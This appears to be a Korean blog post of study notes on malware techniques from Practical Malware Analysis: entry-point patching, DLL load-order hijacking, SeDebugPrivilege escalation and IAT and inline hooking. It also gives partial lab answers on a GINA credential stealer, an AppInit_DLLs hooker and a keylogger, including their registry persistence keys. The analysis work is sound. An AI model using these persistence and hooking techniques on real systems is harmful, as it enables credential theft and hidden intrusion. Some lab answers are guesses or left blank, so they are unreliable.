위의 그림은 정상적인 프로그램에 EP를 직접 추가한 부분의 지점으로 변경한 것이다. 이렇게 수정을 한후 코드의 마지막에는 OEP로 점프하도록 하였다. 이 경우 실행에는 아무 이상이 없다. 즉, 다른 악성코드를 넣은 상태에서 정상적인 파일인 것처럼 작동할 수 있다는 것이다.

DLL Load-order Hijacking

DLL 로딩 순서 하이재킹(DLL 하이재킹)은 악서오드 제작자가 레지스트리 수정이나 바이너리를 조작하지 않고 지속적이고 악의적인 DLL을 만들 수 있게 해주는 간단하면서도 은밀한 기법이다. 심지어 이 기법은 윈도우에서 Dll을 로딩할 때와 같이 별도의 악의적인로더를 필요로 하지 않는다.

윈도우 XP에서 DLL을 로딩하기 위한 기본 검색 순서는 다음과 같다.

1. 애플리케이션을 로딩하는 디렉터리

2. 현재 디렉터리

3. 시스템 디렉터리(\Windows\System32와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

4. 16비트 시스템 디렉터리 (...\Windows\System\과 같은)

5. 윈도우 디렉터리(\Windows\와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

6. PATH 환경 변수에 나열돼 있는 디렉터리

윈도우 XP 이후에는 KnownDLLs 레지스트리 키를 활용하기 때문에 DLL 로딩과정이 생략될 수 있다. KnownDLLs 메커니즘은 보안과 속도를 개선하기 위해 디자인 됐지만, 매우 중요한 DLL 목록만을 제한적으로 담을 수 있다. /System32 디렉터리를 제외한 다른 디렉터리에서 DLL 로딩순서 하이재킹을 할 수 있다. 

아래에 실습을 해보자면 원래의 GEncoder.exe가 import 하는 여러 dll 중에 version.dll이 존재한다. 이 dll이 해당 폴더에 존재하지 않으므로 이는 다른 순서를 통하여 해당 dll을 찾아 로딩되도록 한다.

하지만 아래와 같이 해당 dll을 해당 프로그램이 있는 위치에 만들어 놓는다면 우선 순위에 있는 현재 디렉터리 내에서 먼저 해당 dll을 찾는다. 그렇기에 아래와 같이 해당 dll이 로딩되어 실행이 되었고 이는 원래의 dll에 비하여 아무 내용도 없기에 바로 종료가 된다. 만약 본래의 dll에 악성코드만을 삽입한다면 아래와 같이 그 해당 악의적인 dll이 실행될 것이다.

이렇게 해당 순서에 맞게 해당 DLL을 찾게 되는데 우선 순위에 있는 같은 이름의 다른 dll이 정상적인 Dll인것 처럼 로딩 된다. 이후 악의적인 dll은 시스템의 정상 실행을 위해 원래의 dll을 로딩하도록 한다. 또한 아래와 같이 DLL 하이재킹은 현재에도 나오고 있는 취약점이다.


Privilege Escalation


사용자 대부분은 로컬 관리자로서 실행하며 이는 멀웨어 코더에게 좋은 환경이 된다. 이는 다시 말해 시스템의 관리자 권한을 갖고 있으며, 악성코드가 동일한 권한을 받을 수 있음을 의미 한다. 하지만 사용자가 시스템에서 악성코드를 실행했을 때 관리자 권한을 갖고 있지 않은 경우 악성코드는 일반적으로 모든 권한을 획득하기 위해 권한상을 시도한다.

권한 상승 공격의 주류는 로컬 운영체제에 대한 Exploit 이나 Zero-day 공격으로 알려져있으며, 다수를 메타스플로잇 프레임워크에서 찾을 수 있다. 또한 위에서의 DLL 하이재킹도 권한 상승에 사용할 수 있다. 악의적인 DLL이 위치하는 디렉터리에 대해 사용자가 쓰기 권한이 있고 DLL을 로딩하는 프로세스가 상위 권한으로 실행된다면 악의적인 DLL은 상위 권한을 획득할 수 있다.

Using SeDebugPrivilege

사용자가 실행하는 프로세스는 모든 것에 자유롭게 접근하지 못한다. 예를 들면 원격 프로세스의 TerminateProcess나 CreateRemoteThread 같은 함수를 호출하지 못한다. 악성코드가 이런 함수에 대한 권한을 획득하는 한 방법으로 접근 토큰의 권한에서 SeDebugPrivileage를 활성화한다. 소유자의 접근 권한을 설정하기 위해 보안 설명자(security descriptor)를 사용하며  AdjustTokenPrivileage를 호출해 접근 토큰을 조정할 수 있다.

원래 SeDebugPrivilege 권한은 시스템 레벨의 디버깅을 위한 도구로 만들어졌지만, 악성코드 제작자는 시스템 레벨 프로세스의 모든 권한을 얻기 위해 악용한다.


Covering It's Tracks - User Mode Rootkits


악의적인 행위를 숨기기 위해 사용되는 가장 일반적인 도구는 루트킷이라고 불린다. 루트킷은 다양한 형태를 가질 수 있지만, 대부분은 운영체제의 내부 기능 조작을 통해 동작한다. 일부 루트킷이 사용자 공간 애플리케이션을 조작하기도 하지만, 대부분의 루트킷은 커널을 조작한다. 침입 방지 시스템과 같은 보호 메커니즘이 커널에 설치돼 실행되기 때문이다. 여기선 사용자 레벨에서 후킹하는 방법을 알아보자.

IAT Hooking

IAT 후킹은 로컬 시스템에서 파일, 프로세스, 또는 네트워크 연결을 은닉하는 방법이다. Import Address Table 또는 Export Address Table을 조작한다.

Inline Hooking

인라인 후킹은 임포트된 DLL에 포함된 API 함수 코드를 덮어쓰므로, DLL이 실행을 위해 로딩될 떄까지 기다려야 한다. IAT 후킹은 단순히 포인터만 변경하지만, 인라인 후킹은 실제 함수 코드를 변경한다. 인라인 후킹을 하는 악의적인 루트킷은 정상적인 코드의 시작을 루트킷의 악의적인 코드 실행을 위한 점프하는 코드로 변경한다. 다른 방법으로는 악의적인 코드로 점프하지 않고 원래 코드의 함수를 훼손하거나 변경한다.


Conclusion


여기선 악성코드의 일반적인 능력 일부를 살짝 살펴봤다. 다른 종류의 백도어로 시작해서 악성코드가 인증정보를 훔치는 방법을 살펴봤다. 다음으로 악성 코드가 시스템에서 지속성을 유지하는 여러 가지 방법을 살펴봤다. 마지막으로는 악성코드가 쉽게 탐지되지 안게 자신의 흔적을 감추는 방법을 알아봤다. 이렇게 가장 일반 적인 악성코드의 행위 특성을 살펴봤다. 


참고

http://blog.daum.net/sysnet924/246

http://devanix.tistory.com/307

http://docs.kali.org/downloading/kali-linux-live-usb-persistence

한빛아카데미, 시스템 해킹과 보안, 양대일

https://www.youtube.com/watch?v=4EgYRxeFxbY

http://blog.turbovaccine.com/41

http://www.everyzone.com/service/boancommunication.asp?process_type=view&b_idx=-65&part=&BBS_id=boancommu&page=7&gubun=&keyword=&keyfield=



Lab11-01


1. 악성코드는 무엇을 디스크에 다운로드하는가?

리소스 섹션에 있던 msgina32.dll을 분리한다.


2. 악성코드는 어떻게 지속성을 유지한느가?

Software\Microsoft\Windows NT\CurrentVersion\Winlogon 레지스터에 등록하므로 지속성을 유지시킨다.


3. 악성코드는 어떻게 사용자의 인증정보를 훔치는가?

gina32.dll


4. 악성코드는 훔친 인증정보를 가지고 무엇을 하는가?

??


5. 테스트 환경에서 사용자 인증정보를 얻기 위해 악성코드를 어떻게 사용했는가?



"GinaDLL"="C:\\Documents and Settings\\Administrator\\Desktop\\PracticalMalwareAnalysis-Labs\\Practical Malware Analysis Labs\\BinaryCollection\\Chapter_11L\\msgina32.dll"

Resource Section의 숨겨져 있는 msgina32.dll을 생성


CreateReg,SetReg

CreateFile

LoadLibrary를 통해 resourse 섹션의 dll을 로딩함

MSgina.dll
msutil32.sys
GinaDLL


Lab11-02


Lab11-02.dll에 있는 악성코드를 분석하자. Lab11-02.ini 라는 의심 파일 역시 이 악성코드와 함께 발견됐다고 가정한다.

1. 이 DLL 악성코드에서는 무엇을 Export하는가?

installer

2. rundll32.exe를 이용해 이 악성코드를 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?



3. 악성코드 올바르게 설치하기 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?

C:\Windows\System32\Lab11-02.ini가 위치해야함


4. 이 악성코드는 어떻게 지속성을 유지하는가?

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 

"AppInit_DLLs"="" 

"AppInit_DLLs"="spoolvxx32.dll" 


5. What user-space rootkit technique does this malware employ?

send >> inlinehook


6. 후킹 코드는 무엇을 하는가?


7. 이 악성코드는 어떤 프로세스를 공격하며, 그 이유는 무엇인가?

실행시키는 파일 or OllyDBG을 공격하는것 같다.


8. .ini 파일의 역할은 무엇인가?

디코딩하여 billy@malwareanalysisbook 라는 단어를 추출할 수가 있다.


9. WireShark를 이용해 어떻게 악성코드의 활동을 동적으로 캡처하는가?


CreateToolhelp32Snapshot

RegSetValue

CreateFile, ReadFile, CopyFile

000000003110   000010003110      0   spoolvxx32.dll

0000000030CC   0000100030CC     0   wsock32.dll

000000003130   000010003130       0   AppInit_DLLs
0000000030D8   0000100030D8       0   SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
00000000307C   00001000307C       0   THEBAT.EXE
000000003094    000010003094      0   OUTLOOK.EXE
0000000030AC   0000100030AC      0   MSIMN.EXE



Lab11-03


Lab11-03.exe와 Lab11-03.dll에서 발견되는 악성코드를 분석하자. 분석하는 동안 2개의 파일이 동일한 디렉터리에 있어야 함을 명심하자.

1. 기본 정적분석을 통해 발견할 수 있는 재미있는 분석 단서는 무엇인가?



2. 이 악성코드를 실행하면 어떤일이 일어나는가?

\SYSTEM\ControlSet001\Services\CiSvc\Enum       \SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 

\SYSTEM\ControlSet001\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 

\SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 
  
변화된 값
\SOFTWARE\Classes\Microsoft Internet Mail Message] 
@="Outlook Express Mail Message" 
@="Internet E-Mail Message" 

\SOFTWARE\Classes\Microsoft Internet News Message] 
@="Outlook Express News Message" 
@="Internet News Message" 

System32 폴더에 inet_epar32.dll와 kernel64x.dll를 생성

* 키로깅이 시작된다.


3. Lab11-03.exe은 Lab11-03.dll을 어떻게 영구적으로 설치하는가?

net start cisvc 서비스로 등록하여 유지를 한다.?



4. 악성코드는 어떤 윈도우 시스템 파일을 감염시키는가?

%System32%cisvc.exe


5. Lab11-03.dll은 무엇을 하는가?

뮤텍스를 체크하고 없을 경우 CreateFile 하고 SetFilePointer , 그리고 Keyevent가 있으면 WriteFile이므로 이 dll이 아마 다른곳으로 복사가 되는 것 같다.

폴링방식의 키로거



6. 악성코드는 수집한 데이터를 어디에 저장하는가?

%System32%kernel64x.dll 에 저장한다.


<DLL>

Dll Export : zzz69806582

000000007C91   000010007C91      0   zzz69806582

00000000804C   00001000804C      0   C:\WINDOWS\System32\kernel64x.dll
000000008038   000010008038      0   <SHIFT>     Shit라는 문자열이 있다는건 이 키가 어디에 사용이 된다? 혹은 사용을 감지해야한다.
000000007C82   000010007C82      0   Lab1103dll.dll
000000007554   000010007554      0   dddd, MMMM dd, yyyy
00000000754C   00001000754C      0   H:mm:ss
000000007C06   000010007C06      0   LoadLibraryA
0000000071A4   0000100071A4      0   runtime error 
0000000071B8   0000100071B8      0   TLOSS error
0000000071C8   0000100071C8      0   SING error
0000000071D8   0000100071D8      0   DOMAIN error
00000000745C   00001000745C      0   Runtime Error!
00000000746C   00001000746C      0   Program: 
000000007830   000010007830      0   CreateMutexA
000000007840   000010007840      0   OpenMutexA


<EXE>
0000000091B8   0000004091B8      0   C:\WINDOWS\System32\inet_epar32.dll
000000009184   000000409184      0   C:\WINDOWS\System32\%s
00000000919C   00000040919C      0   cisvc.exe
000000009174   000000409174      0   net start cisvc   서비스를 실행
0000000086E4   0000004086E4      0   CopyFileA       해당 dll을 다른 곳으로 복사를 한다. 예상으로는 inet_epar32.dll로 예상
0000000086D6   0000004086D6      0   CreateFileA     특정 파일의 존재여부를 확인
00000000821C   00000040821C      0   DOMAIN error
00000000820C   00000040820C      0   SING error
0000000081FC   0000004081FC      0   TLOSS error
0000000081E8   0000004081E8      0   runtime error 
0000000080F0   0000004080F0      0   command.com
0000000080E8   0000004080E8      0   cmd.exe
000000008100   000000408100      0   COMSPEC














'Reversing > Theory' 카테고리의 다른 글

데이터 인코딩  (0) 2015.08.26
위장 악성코드 실행  (1) 2015.08.24
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31
x86 Instruction Set Reference  (0) 2015.07.29